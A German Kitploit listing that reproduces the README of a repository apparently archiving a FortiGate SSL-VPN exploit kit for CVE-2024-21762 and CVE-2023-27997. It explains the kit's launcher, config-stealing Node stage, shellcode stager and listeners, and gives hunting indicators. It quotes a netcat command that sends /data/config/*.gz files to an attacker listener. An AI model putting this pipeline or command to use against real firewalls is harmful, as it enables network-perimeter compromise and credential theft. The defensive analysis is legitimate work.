Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Fortigate-SSL-VPN-Exploit-Kit — Der FortiGate SSL-VPN-Topf voller Gold. CVE-2024-21762 und CVE-2023-27997. 79 funktionierende Exploit-Clients. 53 Hardware-SKUs. 55 FortiOS-Builds. | Kitploit
Tools/GitHubGitHub/abraxas/fortigate-ssl-vpn-exploit-kit
Exploit-FrameworksSchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationNetzwerksicherheitPenetrationstestsCommand and ControlRed Teaming
Payload-Entwicklung
GitHubabraxas/fortigate-ssl-vpn-exploit-kit

Fortigate-SSL-VPN-Exploit-Kit

Der FortiGate SSL-VPN-Topf voller Gold. CVE-2024-21762 und CVE-2023-27997. 79 funktionierende Exploit-Clients. 53 Hardware-SKUs. 55 FortiOS-Builds.

Repository anzeigen
vor 8h 27mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

FortiGate SSL-VPN-Kit (in freier Wildbahn geborgen)

Forschungsarchiv. Wie vorgefunden geborgen. Ich habe diese Dateien nicht geschrieben.
Veröffentlicht: 1. September 2026

Dieses Repository ist der Orchestrator, die Second-Stage-Payloads und die Operator-Listener, die auf einem pro-SKU-FortiGate-SSL-VPN-Exploit-Katalog aufsetzen. Die ausführliche Geschichte, Zahlen und Jagd-Notizen finden sich in der Serie The SSL-VPN pot of gold auf Abraxas Labs.

  • Website: abraxaslabs.tech
  • Serie: The SSL-VPN pot of gold
  • GitHub: github.com/abraxas
  • Twitter / X: @abraxas_null

Führen Sie dieses Material nicht gegen einen Host aus, es sei denn, Sie haben die ausdrückliche schriftliche Genehmigung sowohl der Partei, die dieses Repository hostet, als auch des Eigentümers der Zielsysteme. Die zugehörigen CVEs waren öffentlich und gepatcht, bevor diese Veröffentlichung erfolgte. Dieser Baum dient der Forschung, Erkennung und historischen Analyse.


Was das ist

Ich habe ein privates FortiGate-SSL-VPN-Kit in freier Wildbahn gefunden. Der erste Abwurf war ein Verzeichnis mit funktionierenden Clients: Namen wie und . Jede Datei ist ein . Zwei öffentliche N-Days, über Hardware und Firmware neu gestempelt, bis der Ordner wie ein Ersatzteilkatalog aussah.

exp/exp_60E-v6.4.7.py
exp/exp_1000D-v7.4.0.py
pro-SKU-, pro-FortiOS-Speicherkorruptions-Client

Das Gold ist die Offset-Matrix, nicht ein neuer Bug. Dieses Argument wird in Phase 0 der Serie geführt. Phase 1 behandelt die beiden Primitiven als Verhalten. Phase 2 ist die durchsuchbare SKU-/Train-/CPU-Karte. Phase 3 ist die Jagd.

Dieses Repository ist der Rest desselben Kits, keine zweite Exploit-Familie.

  • Die Programme in exp/ sind die bereits in der Serie beschriebenen pro-Image-Clients.
  • Die Dateien im übergeordneten Verzeichnis und in shellcode/ sind die Launcher-, Implant-Abruf- und Config-Diebstahl-Listener, die diese Clients aufrufen sollten.
  • Die exp_*.py-Dateien enthielten nie das Implant. Sie wussten nur, (1) rohe Bytes von einem „Shellcode-Server“ zu ziehen oder (2) GET /s.js auszuführen und zu evalen. Diese fehlenden Teile sind hier.

Die Primitiven:

FamilieCVEFortinet-AdvisoryÖffentliche Farbe
ACVE-2024-21762FG-IR-24-015Assetnote — Two Bytes is Plenty
BCVE-2023-27997FG-IR-23-097Lexfo — XORtigate, Bishop Fox

Beide stehen im Katalog bekannter ausgenutzter Schwachstellen von CISA. poc.py implementiert keinen der beiden CVEs. Es wählt aus und umhüllt die beiden bereits klassifizierten Familien (Chunked-Write 21762; enc=-Heap-Overflow 27997).


Aufbau

root@kitploit:~
.
├── poc.py                     # pocsuite3-Launcher / Fingerprint / Prozessmanager
├── s.js                       # Node-Second-Stage (Config-Dieb)
├── send_cmd.py                # Callback-Handler für den Stager-Pfad
├── init.sh                    # Paketinstallation für die Operator-Workstation
├── requirements.txt           # pwntools
├── exp/
│   └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
    ├── shellcode_server.py    # Längenpräfix-Blob-Pumpe
    ├── shellcode_arm          # ~2,0 MB rohe Second Stage
    └── shellcode_amd64        # ~2,7 MB rohe Second Stage

exp/index.html und shellcode/index.html sind gewöhnliche Python-http.server-Verzeichnislisten. Sie zeigen nur, dass dieser Baum zu einem bestimmten Zeitpunkt als Web-Root gehostet wurde.

Diese Kopie von exp/ ist der frühere Katalog plus vier zusätzliche Clients: exp_30E-v6.2.4.py, exp_30E-v6.2.12.py, exp_30E-v6.2.14.py, exp_40F-v7.0.5.py.


Wie die Teile zusammenhängen

root@kitploit:~
poc.py                          Orchestrator (pocsuite3)
  │
  ├─ Fingerprint-Portal ─────── VERSION_LIBS (Hash → SKU + FortiOS)
  ├─ Datei auswählen ────────── exp/exp_<SKU>-v<ver>.py
  │
  ├─ wenn Client vom Typ "Stager" (Familie A ARM / einige amd64)
  │     starte shellcode/shellcode_server.py
  │           liest shellcode/shellcode_arm  oder  shellcode_amd64
  │     starte send_cmd.py                   (warte auf Callback)
  │     starte Config-Empfänger auf :9999
  │     führe gewähltes exp_*.py aus
  │
  └─ wenn Client vom Typ "Node /s.js" (die meisten Familie B + viele Familie A)
        serviere s.js über HTTP
        starte Config-Empfänger auf :9999
        führe gewähltes exp_*.py aus
              → Firewall GET /s.js → eval → Exfiltration

Pipeline in einer Zeile: identifizieren → Offset-Datei auswählen → sslvpnd korrumpieren → Implant ziehen → /data/config/*.gz exfiltrieren → auf der Operator-Seite archivieren.

Dieser letzte Schritt ist der Punkt. Ein Treffer ist nicht authentifizierte Codeausführung in sslvpnd auf der Firewall selbst — TLS-Terminator, Routing-Policy, VPN-Sitzungen, oft LDAP/RADIUS-Bindungen. FortiOS bietet keine brauchbare /bin/sh. Öffentliche Forschung und dieses Kit gehen beide über einen internen Befehlshelfer und/oder /bin/node, das FortiOS tatsächlich mitliefert. Behandeln Sie einen bestätigten Treffer als Kompromittierung der Netzwerkgrenze, nicht als abgestürzten Daemon. Siehe Was ein Treffer bedeutet.


Datei für Datei

poc.py — Launcher

Operator-Frontend (pocsuite3 POCBase). Es implementiert CVE-2024-21762 oder CVE-2023-27997 nicht.

  1. Ruft https://<target>/remote/login?lang=en ab (Fallback GB2312).
  2. Zieht den Cache-Buster-Hash aus /sslvpn/js/login.js?q=<md5>.
  3. Schlägt diesen Hash in einer eingebetteten Tabelle VERSION_LIBS (182 hash,SKU,version-Zeilen) nach. Diese Tabelle ist der Grund, warum das Kit unter 50+ Appliances wählen kann, ohne dass der Operator die SKU benennt. Gleiche SKUs wie die Matrix, gesteuert durch einen öffentlichen SSL-VPN-Ressourcen-Hash statt SNMP oder einer Management-API.
  4. Löst exp/exp_<SKU>-v<version>.py auf.
  5. Klassifiziert den Client durch Lesen seines Quellcodes:
    • enthält s.js → Typ 2 (Node-Loader)
    • Verwendung erwähnt Shellcode Server → Typ 1 (Stager); sucht dann nach arm vs amd64 im Skript
  6. Startet die passenden Helfer und Popent die exp_*.py mit Host/Port/Callback-Argumenten.

Standard-Operator-Adresse in dieser Kopie: HOST_IP aus der Umgebung, sonst ATTACKER_HOST. Wörtliche IPv4-Adressen in diesem Baum wurden durch Rollenbezeichnungen ersetzt (Ports unverändert):

BezeichnungRolleWo sie erschien
TARGET_HOSTFortiGate unter AngriffNie fest verdrahtet; rhost / target aus argv (siehe poc.py)
ATTACKER_HOSTOperator-WorkstationStandard HOST_IP in poc.py; Bind-Adressen in poc.py, send_cmd.py, shellcode/shellcode_server.py; exp_*.py s.js / TFTP-Platzhalter, die mit lhost gefüllt werden
C2_HOSTEingebackener Callback in dieser Kopie des Implantss.js — nicht das lhost, das in den Exploit übergeben wird
PortRolle
7777Callback / send_cmd.py
8888Shellcode-Server
9999Config-Empfänger (entspricht s.js und send_cmd.py Exfiltration)

Wenn der Portal-Hash in VERSION_LIBS fehlt, stoppt es mit „unknown target hash.“ Wenn der Hash übereinstimmt, aber die exp/-Datei fehlt, „no exp.“

s.js — die fehlende Node-Second-Stage

Dies ist die Datei, die die Familie-B-/Node-Familie-A-Clients nach execute_cmd abrufen. Es ist keine allgemeine Reverse-Shell.

  • Fest verdrahteter Callback C2_HOST:9999 (C2-Host, nicht TARGET_HOST und nicht das lhost / ATTACKER_HOST, das in den Exploit übergeben wird — diese Kopie wurde für einen Operator-Callback gebacken).
  • Liest /data/config/ auf der Firewall.
  • Nimmt Nicht-Symlink-*.gz-Dateien (komprimierte FortiOS-Konfigurationsobjekte).
  • Dekomprimiert sie und sendet jede über ein kleines längenpräfixiertes TCP-Protokoll, dann eine Endmarkierung.

Das ist ein Konfigurations-Dieb. Es erklärt, warum poc.py auch auf 9999 lauscht und Dateien zu einem Base64-Ergebnis wieder zusammensetzt. Jagen Sie C2_HOST auf Port 9999 von jedem FortiGate-Egress. Jagd-Notizen: Phase 3.

send_cmd.py — Callback-Handler für den Stager-Pfad

Wird verwendet, wenn das gewählte exp_*.py vom ARM/amd64-Shellcode-Typ ist (Verwendung enthält einen Shellcode-Server).

  • Lauscht auf 7777.
  • Bei Verbindung schreibt es einen Befehl: cd /data/config und cat jedes *.gz zu nc <LHOST> 9999.
  • Gleiches Ziel wie s.js (Config stehlen), anderer Transport (Shell-Callback vs. Node).

Eine auskommentierte Variante verwendete base64-Framing statt rohem cat.

shellcode/shellcode_server.py — Byte-Pumpe für Familie-A-Stager

Entspricht dem Protokoll, das bereits in den ARM32-exp_*.py-Stubs sichtbar ist:

  1. Bindet den vom Operator gewählten Port (poc.py verwendet 8888).
  2. Akzeptiert eine Verbindung.
  3. Sendet eine 4-Byte-Little-Endian-Länge.
  4. Sendet den Blob shellcode_<arch> aus demselben Verzeichnis.

exp_*.py-Stager verbinden sich hierher, mappen beschreibbar-ausführbaren Speicher, ziehen den Blob und verbinden sich dann zurück zu lhost:lport (7777 → send_cmd.py).

shellcode/shellcode_arm und shellcode/shellcode_amd64

Rohe Second-Stage-Blobs (~2,0 MB ARM, ~2,7 MB amd64). Sie sind das, was der Stager herunterlädt. Sie sind nicht der winzige Thumb-Stub in den Python-Dateien; diese Stubs holen nur diese Dateien. Behandeln Sie sie als das Implant für den Nicht-Node-Pfad. Die Größe deutet auf gepackte oder statische Payloads hin, nicht auf ein paar Dutzend Anweisungen.

init.sh — Einrichtung der Operator-Workstation

Wird nicht gegen die Firewall verwendet. Installiert build-essential, binutils-arm-linux-gnueabihf und gcc-aarch64-linux-gnu. Das dient dem Bauen von ARM/AArch64-Teilen auf einer Debian-ähnlichen Angriffsbox. Konsistent mit einem Autor, der Stager kompiliert, statt nur Python zu liefern.

requirements.txt

Einzelne Zeile: pwntools. Die exp_*.py-Dateien und shellcode_server.py importieren es. poc.py möchte auch pocsuite3, python-dotenv, mmh3 und requests.


Beziehung zu den exp/-Clients

Bereits in der Serie beschriebenRolle in diesem Baum
Familie-A-ARM-exp_*.py (Stager-Argumente)Erste Stufe. Ruft shellcode_server.py + shellcode_arm (oder amd64) auf, dann lhost:7777.
Familie-A/B-Node-exp_*.py (/s.js)Erste Stufe. HTTP-GET des übergeordneten s.js, dann eval.
6.0-D-Serie TFTP / /tmp/s-VariantenGleiches s.js-Ziel über TFTP; erwartet diese Datei weiterhin auf dem Operator-HTTP-Root.

Nichts im übergeordneten Verzeichnis implementiert einen dritten CVE. Zahlen, SKU-Heatmap und Train-Ausrichtung (Familie A bis 7.4.0 / 7.4.1; Familie B innerhalb des 27997-Fensters) finden sich in Phase 0 und Phase 2. Stärkste Neuausrichtung im ursprünglichen Katalog: FortiGate-60E, 100E, 60F, 100F — Zweigstellen-Hardware.


Was das ändert

Der erste Abwurf endete bei „Callback erhalten.“ Second-Stage-Körper fehlten. Dieser Baum macht das Ziel explizit:

  1. FortiOS-Config stehlen aus /data/config/*.gz, nicht „generisches RCE.“ Das ist Kompromittierung von Anmeldedaten und Topologie (VPN-Benutzer, Routen, in diesen Objekten gespeicherte Geheimnisse).
  2. IOC-Satz ist konkret (siehe unten).
  3. VERSION_LIBS in poc.py ist eine fertige Liste „welche SKU dachten sie, dieser Hash sei.“
  4. Das Kit ist eine vollständige Config-Diebstahl-Pipeline, kein Sack voller unverbundener PoCs.

Indikatoren (diese Kopie)

Portal-Recon und First-Stage-URIs sind in Hunting the kit dokumentiert. Besondere, die bereits in öffentlichen Write-ups und in diesem Baum genannt wurden:

  • Portal-Recon: GET /remote/login und /sslvpn/js/login.js?q=
  • First-Stage-URIs: /aaaa/bbbb, /remote/error, /remote/info, /remote/hostcheck_validate mit enc=
  • Ausgehendes HTTP GET /s.js von der Firewall
  • Ausgehendes TCP von der Firewall zu 7777 / 8888 / 9999
  • Eingebackenes C2 C2_HOST:9999 in dieser Kopie von s.js (C2-Host)
  • Operator-Listener auf ATTACKER_HOST-Ports 7777 / 8888 / 9999 (Angreifer-Host)
  • Ziel ist nie fest verdrahtet: TARGET_HOST ist rhost, das zur Laufzeit bereitgestellt wird

Jagen Sie Egress von der Firewall (TARGET_HOST) zu C2_HOST:9999 und zu jedem ATTACKER_HOST, der /s.js während des relevanten Fensters ausgeliefert hat.


Was dieses Kit nicht beweist

Aus der Einleitung:

  • Einen neuen 0-Day. Die Primitiven sind N-Days mit öffentlichen Write-ups.
  • FortiProxy, FortiManager, FortiAnalyzer, FortiWeb. Keine Samples hier.
  • SKUs, die nicht in der geborgenen Matrix sind (viele 70F / 90G / 120G-Einheiten, Nur-VM-Images, 6K / 7K-Chassis). Keine kompilierten Offsets.
  • Builds über Fortinets veröffentlichte Schnitte hinaus. Bestätigen Sie gegen das Live-Advisory (FG-IR-24-015, FG-IR-23-097), nicht gegen diesen Ordner.
  • Persistenz. Das würde in Folgearbeit leben, die in diesen Skripten noch nicht als eigenständige dritte Stufe implementiert ist.

Ein öffentlicher PoC gegen eine VM ist ein anderes Artefakt. Dieses Paket ist für den, der auf Recon geantwortet hat.


Serie

  1. Phase 0 · Einleitung — der Fund, die Zahlen, die Einsätze.
  2. Phase 1 · Zwei öffentliche Türen — Familie A und Familie B als Verhalten, nicht als Rezept.
  3. Phase 2 · Die Matrix — 53 SKUs, Trains, CPU. Durchsuchbar.
  4. Phase 3 · Jagd auf das Kit — besondere URIs, Patch-Schnitte, was zu tun ist, wenn das Portal erreichbar war.

Wenn Sie FortiGates betreiben: Inventarisieren Sie Modell, exaktes FortiOS, SSL-VPN an oder aus, ob das Portal aus nicht vertrauenswürdigen Netzwerken erreichbar war. Dann lesen Sie Phase 2. Inventarisieren Sie nicht nur 60er-Serien-Zweigstellen-Boxen, weil diese Dateinamen am lautesten waren.


Hinweis

Diese Dateien wurden in freier Wildbahn während unabhängiger Sicherheitsforschung geborgen. Ich habe sie nicht erstellt. Sie werden wie vorgefunden veröffentlicht, nachdem die zugehörigen CVEs öffentlich offengelegt und gepatcht wurden.

Nur für Forschung / Bildung. Führen Sie dieses Material nicht gegen einen Host aus, setzen Sie es nicht ein oder verwenden Sie es nicht, es sei denn, Sie haben die ausdrückliche schriftliche Genehmigung sowohl der Partei, die dieses Repository hostet, als auch des Eigentümers der Zielsysteme.

— @abraxas_null · abraxaslabs.tech · github.com/abraxas

Tool herunterladen